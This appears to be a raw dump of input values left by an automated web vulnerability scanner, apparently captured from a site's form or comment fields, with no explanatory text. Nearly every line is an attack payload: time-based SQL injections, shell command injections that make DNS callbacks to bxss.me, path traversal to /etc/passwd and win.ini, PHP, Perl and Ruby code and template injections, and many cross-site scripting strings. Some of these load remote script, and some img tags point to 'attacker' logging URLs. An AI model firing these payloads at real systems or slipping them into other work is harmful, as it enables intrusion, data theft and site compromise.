)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
/xfs.bxss.me
'.print(md5(31337)).'
555
555
555
555
'"
555
555
555
555
555
555
555
<!--
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555'"()&%<acx><ScRiPt >R48J(9041)</ScRiPt>
555
response.write(9588058*9116512)
555
555
PYxhQkcp
555
'+response.write(9588058*9116512)+'
555
"+response.write(9588058*9116512)+"
'"()&%<acx><ScRiPt >R48J(9639)</ScRiPt>
555
555
555
555
555
555
555
555
555
555
5559860136
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
555
555
555
555
555
555
../../../../../../../../../../../../../../etc/passwd
555
555
${9999755+10000279}
../../../../../../../../../../../../../../windows/win.ini
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
echo qpqinv$()\ iwkopu\nz^xyu||a #' &echo qpqinv$()\ iwkopu\nz^xyu||a #|" &echo qpqinv$()\ iwkopu\nz^xyu||a #
555
555
&echo czsjga$()\ hdrrgw\nz^xyu||a #' &echo czsjga$()\ hdrrgw\nz^xyu||a #|" &echo czsjga$()\ hdrrgw\nz^xyu||a #
555
|echo hhrhvc$()\ scbokm\nz^xyu||a #' |echo hhrhvc$()\ scbokm\nz^xyu||a #|" |echo hhrhvc$()\ scbokm\nz^xyu||a #
../555
555
555
(nslookup hitkkwursncpc82eb4.bxss.me||perl -e "gethostbyname('hitkkwursncpc82eb4.bxss.me')")
555
555
$(nslookup hitghbtxevfsc8ad3e.bxss.me||perl -e "gethostbyname('hitghbtxevfsc8ad3e.bxss.me')")
555
555
555
&(nslookup hitfbffljaojp12e9e.bxss.me||perl -e "gethostbyname('hitfbffljaojp12e9e.bxss.me')")&'\"`0&(nslookup hitfbffljaojp12e9e.bxss.me||perl -e "gethostbyname('hitfbffljaojp12e9e.bxss.me')")&`'
555
|(nslookup hitlbxodarnuv326fd.bxss.me||perl -e "gethostbyname('hitlbxodarnuv326fd.bxss.me')")
555
555
555
555
555
555
`(nslookup hitksaoefifgyce1d9.bxss.me||perl -e "gethostbyname('hitksaoefifgyce1d9.bxss.me')")`
http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg
555
;(nslookup hitjyiuwcqkyh7464c.bxss.me||perl -e "gethostbyname('hitjyiuwcqkyh7464c.bxss.me')")|(nslookup hitjyiuwcqkyh7464c.bxss.me||perl -e "gethostbyname('hitjyiuwcqkyh7464c.bxss.me')")&(nslookup hitjyiuwcqkyh7464c.bxss.me||perl -e "gethostbyname('hitjyiuwcqkyh7464c.bxss.me')")
1some_inexistent_file_with_long_name%00.jpg
555
555&n982568=v911966
555
Http://bxss.me/t/fit.txt
555
555
555
555
http://bxss.me/t/fit.txt%3F.jpg
555
555
bxss.me
555
'"()
)
555
555
!(()&&!|*|*|
555
^(#$!@#$)(()))******
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
'.gethostbyname(lc('hitye'.'wmeungfb09e93.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(107).chr(82).chr(103).chr(79).'
555
555
555
555
".gethostbyname(lc("hitau"."kpgdzouwfa2ee.bxss.me."))."A".chr(67).chr(hex("58")).chr(116).chr(68).chr(110).chr(86)."
555
555
555
555
555
555
555
555
HttP://bxss.me/t/xss.html?%00
555
555
555
555
555
bxss.me/t/xss.html?%00
555
555
555
555
555
555
555
555
555
555
555
555
"+"A".concat(70-3).concat(22*4).concat(105).concat(71).concat(116).concat(74)+(require"socket" Socket.gethostbyname("hitix"+"npaokmhpa86dd.bxss.me.")[3].to_s)+"
555
555
555
555
555
555
'+'A'.concat(70-3).concat(22*4).concat(121).concat(70).concat(117).concat(73)+(require'socket' Socket.gethostbyname('hitpt'+'cqsyhelkd85f5.bxss.me.')[3].to_s)+'
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
555
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
';print(md5(31337));$a='
555
/xfs.bxss.me
555
555
555
";print(md5(31337));$a="
555
555
555
555
555
${@print(md5(31337))}
555
555
555
555
${@print(md5(31337))}\
555
555
'.print(md5(31337)).'
555
'"
<!--
555
555
555
555
555
555
555
555
555
555
555
555
555
555'"()&%<acx><ScRiPt >vQ2H(9898)</ScRiPt>
555
'"()&%<acx><ScRiPt >vQ2H(9094)</ScRiPt>
555
555
555
5559896684
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
mvxsTYSA
-1 OR 2+359-359-1=0+0+0+1 --
-1 OR 2+303-303-1=0+0+0+1
-1' OR 2+822-822-1=0+0+0+1 --
555
-1' OR 2+996-996-1=0+0+0+1 or '5OuaOwWb'='
-1" OR 2+825-825-1=0+0+0+1 --
555
if(now()=sysdate(),sleep(15),0)
7ptdKEtq
-1 OR 2+297-297-1=0+0+0+1 --
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
-1 OR 2+171-171-1=0+0+0+1
-1' OR 2+239-239-1=0+0+0+1 --
-1' OR 2+61-61-1=0+0+0+1 or 'TEvFNZxQ'='
-1" OR 2+587-587-1=0+0+0+1 --
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
if(now()=sysdate(),sleep(15),0)
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
-1; waitfor delay '0:0:15' --
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
-1); waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1 waitfor delay '0:0:15' --
-1; waitfor delay '0:0:15' --
tbnDpQ4d'; waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
-5 OR 468=(SELECT 468 FROM PG_SLEEP(15))--
1 waitfor delay '0:0:15' --
-5) OR 363=(SELECT 363 FROM PG_SLEEP(15))--
BAPbwTzi'; waitfor delay '0:0:15' --
-1)) OR 365=(SELECT 365 FROM PG_SLEEP(15))--
-5 OR 69=(SELECT 69 FROM PG_SLEEP(15))--
Exb0aGZK' OR 359=(SELECT 359 FROM PG_SLEEP(15))--
-5) OR 187=(SELECT 187 FROM PG_SLEEP(15))--
y06ySqKI') OR 940=(SELECT 940 FROM PG_SLEEP(15))--
-1)) OR 962=(SELECT 962 FROM PG_SLEEP(15))--
1pxdkzOS')) OR 74=(SELECT 74 FROM PG_SLEEP(15))--
yQpRAsyD' OR 799=(SELECT 799 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
69Fx6rG8') OR 588=(SELECT 588 FROM PG_SLEEP(15))--
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
BWT9ANJf')) OR 314=(SELECT 314 FROM PG_SLEEP(15))--
@@Ad6pD
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
1'"
@@4WaZ4
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
4zqqql2v
555
555
555
555
555
555
555
555
555
555
555
response.write(9355600*9737190)
555
555
555
555
'+response.write(9355600*9737190)+'
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
"+response.write(9355600*9737190)+"
555
555
555
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
555
555
../../../../../../../../../../../../../../etc/passwd
555
555
../../../../../../../../../../../../../../windows/win.ini
555
555
555
555
555
555
555
555
555
${9999398+9999206}
../555
555
555
echo crcwws$()\ mmqoio\nz^xyu||a #' &echo crcwws$()\ mmqoio\nz^xyu||a #|" &echo crcwws$()\ mmqoio\nz^xyu||a #
555
555
555
555
555
555
&echo nbqman$()\ umcyem\nz^xyu||a #' &echo nbqman$()\ umcyem\nz^xyu||a #|" &echo nbqman$()\ umcyem\nz^xyu||a #
555
555
|echo jxmpkd$()\ tsrmeq\nz^xyu||a #' |echo jxmpkd$()\ tsrmeq\nz^xyu||a #|" |echo jxmpkd$()\ tsrmeq\nz^xyu||a #
555
555
555
555
555
(nslookup hitprykkbvwjq6a261.bxss.me||perl -e "gethostbyname('hitprykkbvwjq6a261.bxss.me')")
555
555
555
$(nslookup hitqviulqlqvw6a494.bxss.me||perl -e "gethostbyname('hitqviulqlqvw6a494.bxss.me')")
555
555&n909492=v952849
555
555
555
555
555
&(nslookup hitnurxmptomn0a880.bxss.me||perl -e "gethostbyname('hitnurxmptomn0a880.bxss.me')")&'\"`0&(nslookup hitnurxmptomn0a880.bxss.me||perl -e "gethostbyname('hitnurxmptomn0a880.bxss.me')")&`'
555
555
http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg
555
|(nslookup hitifpgtsqzgy27b08.bxss.me||perl -e "gethostbyname('hitifpgtsqzgy27b08.bxss.me')")
)
1some_inexistent_file_with_long_name%00.jpg
'"()
`(nslookup hitbqujwqchoo9dd44.bxss.me||perl -e "gethostbyname('hitbqujwqchoo9dd44.bxss.me')")`
555
555
!(()&&!|*|*|
;(nslookup hituhrdfodiahef0c0.bxss.me||perl -e "gethostbyname('hituhrdfodiahef0c0.bxss.me')")|(nslookup hituhrdfodiahef0c0.bxss.me||perl -e "gethostbyname('hituhrdfodiahef0c0.bxss.me')")&(nslookup hituhrdfodiahef0c0.bxss.me||perl -e "gethostbyname('hituhrdfodiahef0c0.bxss.me')")
Http://bxss.me/t/fit.txt
555
^(#$!@#$)(()))******
555
http://bxss.me/t/fit.txt%3F.jpg
555
bxss.me
555
555
555
555
555
555
555
555
555
555
'.gethostbyname(lc('hitrm'.'pnaofhbc0efff.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(109).chr(74).chr(116).chr(65).'
555
555
555
555
555
555
".gethostbyname(lc("hittc"."ehdgeihx806d7.bxss.me."))."A".chr(67).chr(hex("58")).chr(109).chr(71).chr(104).chr(70)."
555
555
555
555
555
HttP://bxss.me/t/xss.html?%00
555
555
555
555
bxss.me/t/xss.html?%00
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
"+"A".concat(70-3).concat(22*4).concat(103).concat(70).concat(118).concat(65)+(require"socket" Socket.gethostbyname("hityj"+"mehjxuqn53e8f.bxss.me.")[3].to_s)+"
555
555
555
555
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
'+'A'.concat(70-3).concat(22*4).concat(116).concat(69).concat(99).concat(86)+(require'socket' Socket.gethostbyname('hitbd'+'yykbvmng6cd0d.bxss.me.')[3].to_s)+'
555
555
';print(md5(31337));$a='
/xfs.bxss.me
555
555
";print(md5(31337));$a="
555
555
555
555
${@print(md5(31337))}
555
555
555
555
555
'"
555
${@print(md5(31337))}\
555
555
'.print(md5(31337)).'
<!--
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555'"()&%<acx><ScRiPt >zqbA(9070)</ScRiPt>
555
555
555
'"()&%<acx><ScRiPt >zqbA(9355)</ScRiPt>
555
555
555
555
555
5559736369
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
AOG1Un8h
-1 OR 2+356-356-1=0+0+0+1 --
-1 OR 2+687-687-1=0+0+0+1
-1' OR 2+506-506-1=0+0+0+1 --
555
-1' OR 2+174-174-1=0+0+0+1 or '6HypwQw5'='
-1" OR 2+901-901-1=0+0+0+1 --
if(now()=sysdate(),sleep(15),0)
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-1; waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
tCpbpxR4'; waitfor delay '0:0:15' --
-5 OR 301=(SELECT 301 FROM PG_SLEEP(15))--
555
555
A0uuDHhz
555
555
555
555
555
555
555
555
response.write(9290445*9191228)
555
'+response.write(9290445*9191228)+'
555
555
555
555
"+response.write(9290445*9191228)+"
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
555
555
555
555
../../../../../../../../../../../../../../etc/passwd
555
555
555
555
-5) OR 176=(SELECT 176 FROM PG_SLEEP(15))--
../../../../../../../../../../../../../../windows/win.ini
555
555
555
555
555
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
555
../555
${10000294+10000141}
555
echo dbupip$()\ scpjyl\nz^xyu||a #' &echo dbupip$()\ scpjyl\nz^xyu||a #|" &echo dbupip$()\ scpjyl\nz^xyu||a #
555
&echo gkskyp$()\ mufwbl\nz^xyu||a #' &echo gkskyp$()\ mufwbl\nz^xyu||a #|" &echo gkskyp$()\ mufwbl\nz^xyu||a #
555
555
555
|echo yqzkvk$()\ gncwni\nz^xyu||a #' |echo yqzkvk$()\ gncwni\nz^xyu||a #|" |echo yqzkvk$()\ gncwni\nz^xyu||a #
555
555
555
555
(nslookup hitojyeumislqb467a.bxss.me||perl -e "gethostbyname('hitojyeumislqb467a.bxss.me')")
555
555
555
555
$(nslookup hitnaypgpewgrbe63c.bxss.me||perl -e "gethostbyname('hitnaypgpewgrbe63c.bxss.me')")
555
555
&(nslookup hitkvbifqovonf908d.bxss.me||perl -e "gethostbyname('hitkvbifqovonf908d.bxss.me')")&'\"`0&(nslookup hitkvbifqovonf908d.bxss.me||perl -e "gethostbyname('hitkvbifqovonf908d.bxss.me')")&`'
555
555
555
|(nslookup hitjvbtasdhvu49c6c.bxss.me||perl -e "gethostbyname('hitjvbtasdhvu49c6c.bxss.me')")
555
555
http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg
555
555&n962142=v932044
-1)) OR 290=(SELECT 290 FROM PG_SLEEP(15))--
`(nslookup hitstcczxvzxqc4e39.bxss.me||perl -e "gethostbyname('hitstcczxvzxqc4e39.bxss.me')")`
555
1some_inexistent_file_with_long_name%00.jpg
555
555
555
;(nslookup hitjwbulpsgax40c1d.bxss.me||perl -e "gethostbyname('hitjwbulpsgax40c1d.bxss.me')")|(nslookup hitjwbulpsgax40c1d.bxss.me||perl -e "gethostbyname('hitjwbulpsgax40c1d.bxss.me')")&(nslookup hitjwbulpsgax40c1d.bxss.me||perl -e "gethostbyname('hitjwbulpsgax40c1d.bxss.me')")
555
Http://bxss.me/t/fit.txt
555
)
http://bxss.me/t/fit.txt%3F.jpg
555
555
'"()
!(()&&!|*|*|
bxss.me
555
^(#$!@#$)(()))******
555
555
555
555
555
'.gethostbyname(lc('hitbs'.'rdprccif3624b.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(120).chr(70).chr(101).chr(75).'
555
555
555
555
555
555
".gethostbyname(lc("hitxv"."bvuccgzm1c6bf.bxss.me."))."A".chr(67).chr(hex("58")).chr(119).chr(86).chr(115).chr(68)."
555
555
555
555
555
555
555
2BGDTEZj' OR 252=(SELECT 252 FROM PG_SLEEP(15))--
555
555
555
555
555
555
555
555
555
555
HttP://bxss.me/t/xss.html?%00
555
555
555
bxss.me/t/xss.html?%00
555
555
555
555
555
555
555
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
555
555
"+"A".concat(70-3).concat(22*4).concat(119).concat(72).concat(98).concat(77)+(require"socket" Socket.gethostbyname("hitqh"+"fbjrjqhae1900.bxss.me.")[3].to_s)+"
555
';print(md5(31337));$a='
555
555
'+'A'.concat(70-3).concat(22*4).concat(107).concat(90).concat(114).concat(86)+(require'socket' Socket.gethostbyname('hittv'+'htaphejsf3d95.bxss.me.')[3].to_s)+'
555
555
/xfs.bxss.me
";print(md5(31337));$a="
555
555
555
555
555
555
555
555
${@print(md5(31337))}
555
'"
555
555
${@print(md5(31337))}\
<!--
555
555
555
555
555
'.print(md5(31337)).'
coBD0fwm') OR 904=(SELECT 904 FROM PG_SLEEP(15))--
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
AriABw8c')) OR 639=(SELECT 639 FROM PG_SLEEP(15))--
555'"()&%<acx><ScRiPt >obR4(9121)</ScRiPt>
555
555
555
555
'"()&%<acx><ScRiPt >obR4(9739)</ScRiPt>
555
555
5559281885
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
1'"
@@LbYn3
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
UqIJSfzj
-1 OR 2+821-821-1=0+0+0+1 --
-1 OR 2+586-586-1=0+0+0+1
-1' OR 2+457-457-1=0+0+0+1 --
555
-1' OR 2+443-443-1=0+0+0+1 or 'kbeJv8DE'='
555
555
-1" OR 2+157-157-1=0+0+0+1 --
555
555
555
if(now()=sysdate(),sleep(15),0)
555
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
555
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
-1; waitfor delay '0:0:15' --
555
-1); waitfor delay '0:0:15' --
555
1 waitfor delay '0:0:15' --
555
esVMNdpG'; waitfor delay '0:0:15' --
555
-5 OR 399=(SELECT 399 FROM PG_SLEEP(15))--
555
-5) OR 903=(SELECT 903 FROM PG_SLEEP(15))--
555
555
-1)) OR 456=(SELECT 456 FROM PG_SLEEP(15))--
555
ulKvf5oD' OR 276=(SELECT 276 FROM PG_SLEEP(15))--
gaYzKnLy') OR 706=(SELECT 706 FROM PG_SLEEP(15))--
j55zAIlz')) OR 411=(SELECT 411 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
@@YCVLX
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555'"()&%<acx><ScRiPt >tfeH(9338)</ScRiPt>
555
555'"()&%<acx><ScRiPt >tRh2(9316)</ScRiPt>
555
555
555'"()&%<acx><ScRiPt >UVgf(9298)</ScRiPt>
'"()&%<acx><ScRiPt >tfeH(9824)</ScRiPt>
555
'"()&%<acx><ScRiPt >tRh2(9555)</ScRiPt>
'"()&%<acx><ScRiPt >UVgf(9671)</ScRiPt>
555
555
5559765185
5559980851
555
5559235513
555
555
acu6505%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca6505
acu3402%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca3402
555
acu2018%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca2018
555
555
acux6536%C0%BEz1%C0%BCz2a%90bcxuca6536
acux8578%C0%BEz1%C0%BCz2a%90bcxuca8578
555
acux9885%C0%BEz1%C0%BCz2a%90bcxuca9885
555
555
<%={{={@{#{${acx}}%>
<%={{={@{#{${acx}}%>
<%={{={@{#{${acx}}%>
555
555
555
<th:t="${acx}#foreach
<th:t="${acx}#foreach
<th:t="${acx}#foreach
555
555
555
1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
555
555
555
acx{{98991*97996}}xca
acx{{98991*97996}}xca
acx{{98991*97996}}xca
555
555
acx[[${98991*97996}]]xca
555
acx[[${98991*97996}]]xca
555
acx[[${98991*97996}]]xca
555
acx__${98991*97996}__::.x
acx__${98991*97996}__::.x
555
555
555
acx__${98991*97996}__::.x
"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")
555
"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")
555
555
555
555<ScRiPt >tRh2(9983)</ScRiPt>
"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")
555<ScRiPt >tfeH(9936)</ScRiPt>
555
555
555<WSZLEB>WYEBI[!+!]</WSZLEB>
555
555<ScRiPt >UVgf(9867)</ScRiPt>
555
555<WUJLZG>OIRXZ[!+!]</WUJLZG>
555
555
555<script>tRh2(9325)</script>
555<WCQ36F>8E50Y[!+!]</WCQ36F>
555<script>tfeH(9682)</script>
555
555
555
555<script>UVgf(9302)</script>
555%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%74%52%68%32%28%39%33%36%36%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
555%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%74%66%65%48%28%39%30%39%33%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
555
555
555
555%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%55%56%67%66%28%39%30%38%30%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
555<ScRiPt >tRh2(9093)</ScRiPt>
555
555<ScRiPt >tfeH(9496)</ScRiPt>
555
555
555<ScRiPt >UVgf(9778)</ScRiPt>
555<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9800></ScRiPt>
555
555<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9859></ScRiPt>
555
555<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9812></ScRiPt>
555
555< ScRiPt >tRh2(9447)</ScRiPt>
555
555< ScRiPt >tfeH(9513)</ScRiPt>
555
555
555< ScRiPt >UVgf(9808)</ScRiPt>
555<isindex type=image src=1 onerror=tRh2(9371)>
555
555<isindex type=image src=1 onerror=tfeH(9473)>
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9097'>
555
555
555
555<isindex type=image src=1 onerror=UVgf(9370)>
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9855'>
555<body onload=tRh2(9630)>
555
555
555
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9564'>
555<body onload=tfeH(9744)>
555<img src=//xss.bxss.me/t/dot.gif onload=tRh2(9263)>
555
555
555
555<body onload=UVgf(9165)>
555<img src=//xss.bxss.me/t/dot.gif onload=tfeH(9561)>
555
555<img src=xyz OnErRor=tRh2(9393)>
555
555
555<img src=//xss.bxss.me/t/dot.gif onload=UVgf(9094)>
555
555<img/src=">" onerror=alert(9909)>
555<img src=xyz OnErRor=tfeH(9857)>
555
555
555<img src=xyz OnErRor=UVgf(9720)>
555
555
%35%35%35%3C%53%63%52%69%50%74%20%3E%74%52%68%32%289408%29%3C%2F%73%43%72%69%70%54%3E
555<img/src=">" onerror=alert(9665)>
555
555<img/src=">" onerror=alert(9495)>
555
555
%35%35%35%3C%53%63%52%69%50%74%20%3E%74%66%65%48%289488%29%3C%2F%73%43%72%69%70%54%3E
555\u003CScRiPt\tRh2(9295)\u003C/sCripT\u003E
555
555
%35%35%35%3C%53%63%52%69%50%74%20%3E%55%56%67%66%289536%29%3C%2F%73%43%72%69%70%54%3E
555
555<ScRiPt>tRh2(9394)</sCripT>
555\u003CScRiPt\tfeH(9323)\u003C/sCripT\u003E
555
555
555\u003CScRiPt\UVgf(9399)\u003C/sCripT\u003E
555<ScRiPt>tfeH(9440)</sCripT>
555
555<input autofocus onfocus=tRh2(9616)>
555
555<ScRiPt>UVgf(9368)</sCripT>
555<input autofocus onfocus=tfeH(9154)>
555
555
<a HrEF=http://xss.bxss.me></a>
555
555
<a HrEF=http://xss.bxss.me></a>
555<input autofocus onfocus=UVgf(9377)>
555
<a HrEF=jaVaScRiPT:>
555
555
555}body{acu:Expre/**/SSion(tRh2(9108))}
<a HrEF=jaVaScRiPT:>
555
<a HrEF=http://xss.bxss.me></a>
555
555
555gDrAl <ScRiPt >tRh2(9533)</ScRiPt>
555}body{acu:Expre/**/SSion(tfeH(9638))}
555
<a HrEF=jaVaScRiPT:>
555
555
555
555<WGHBK6>LOCDK[!+!]</WGHBK6>
555glYAw <ScRiPt >tfeH(9527)</ScRiPt>
555}body{acu:Expre/**/SSion(UVgf(9435))}
555
555
555
555<WXZ1VF>SL2LP[!+!]</WXZ1VF>
555<ifRAme sRc=9542.com></IfRamE>
555UOa0k <ScRiPt >UVgf(9963)</ScRiPt>
555
555
555
555<WZLOSP>35H24[!+!]</WZLOSP>
555<ifRAme sRc=9803.com></IfRamE>
555<aun8pV0 x=9642>
555
555
555
555<img sRc='http://attacker-9550/log.php?
555<ifRAme sRc=9439.com></IfRamE>
555<aOVCo0t x=9625>
555
555
555
555<azAMkZ3<
555
555<img sRc='http://attacker-9445/log.php?
555<aBNRwub x=9736>
555
555<img sRc='http://attacker-9856/log.php?
555
555<ak81dFj<
555<abKZ123<
555'"()&%<acx><ScRiPt >Yt49(9423)</ScRiPt>
555
555
555'"()&%<acx><ScRiPt >z4y3(9019)</ScRiPt>
'"()&%<acx><ScRiPt >Yt49(9863)</ScRiPt>
555
555
'"()&%<acx><ScRiPt >z4y3(9797)</ScRiPt>
5559421790
555
555
5559522551
acu2482%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca2482
555
555
acu7385%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca7385
555
acux8307%C0%BEz1%C0%BCz2a%90bcxuca8307
555
acux3873%C0%BEz1%C0%BCz2a%90bcxuca3873
555
<%={{={@{#{${acx}}%>
<%={{={@{#{${acx}}%>
555
555
<th:t="${acx}#foreach
555
555
555
1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
555
<th:t="${acx}#foreach
555
1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
555
555
acx{{98991*97996}}xca
555
acx{{98991*97996}}xca
555
acx[[${98991*97996}]]xca
555
555
acx[[${98991*97996}]]xca
acx__${98991*97996}__::.x
555
555
acx__${98991*97996}__::.x
"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")
555
555
"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")
555
555
555<ScRiPt >Yt49(9433)</ScRiPt>
555<ScRiPt >z4y3(9454)</ScRiPt>
555
555<WURR3U>KLAIB[!+!]</WURR3U>
555
555<WIMY33>TB7GC[!+!]</WIMY33>
555<script>Yt49(9041)</script>
555
555
555<script>z4y3(9942)</script>
555%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%59%74%34%39%28%39%39%32%39%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
555
555
555<ScRiPt >Yt49(9953)</ScRiPt>
555%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%7A%34%79%33%28%39%37%39%39%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
555
555<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9280></ScRiPt>
555<ScRiPt >z4y3(9140)</ScRiPt>
555
555
555< ScRiPt >Yt49(9815)</ScRiPt>
555<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9078></ScRiPt>
555
555
555< ScRiPt >z4y3(9911)</ScRiPt>
555
555<isindex type=image src=1 onerror=Yt49(9148)>
555
555
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9898'>
555<isindex type=image src=1 onerror=z4y3(9692)>
555
555<body onload=Yt49(9921)>
555
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9399'>
555<img src=//xss.bxss.me/t/dot.gif onload=Yt49(9633)>
555
555
555<body onload=z4y3(9916)>
555<img src=xyz OnErRor=Yt49(9417)>
555
555
555<img/src=">" onerror=alert(9658)>
555<img src=//xss.bxss.me/t/dot.gif onload=z4y3(9370)>
555
555
555
%35%35%35%3C%53%63%52%69%50%74%20%3E%59%74%34%39%289702%29%3C%2F%73%43%72%69%70%54%3E
555<img src=xyz OnErRor=z4y3(9789)>
555
555\u003CScRiPt\Yt49(9312)\u003C/sCripT\u003E
555<img/src=">" onerror=alert(9520)>
555
555
555<ScRiPt>Yt49(9138)</sCripT>
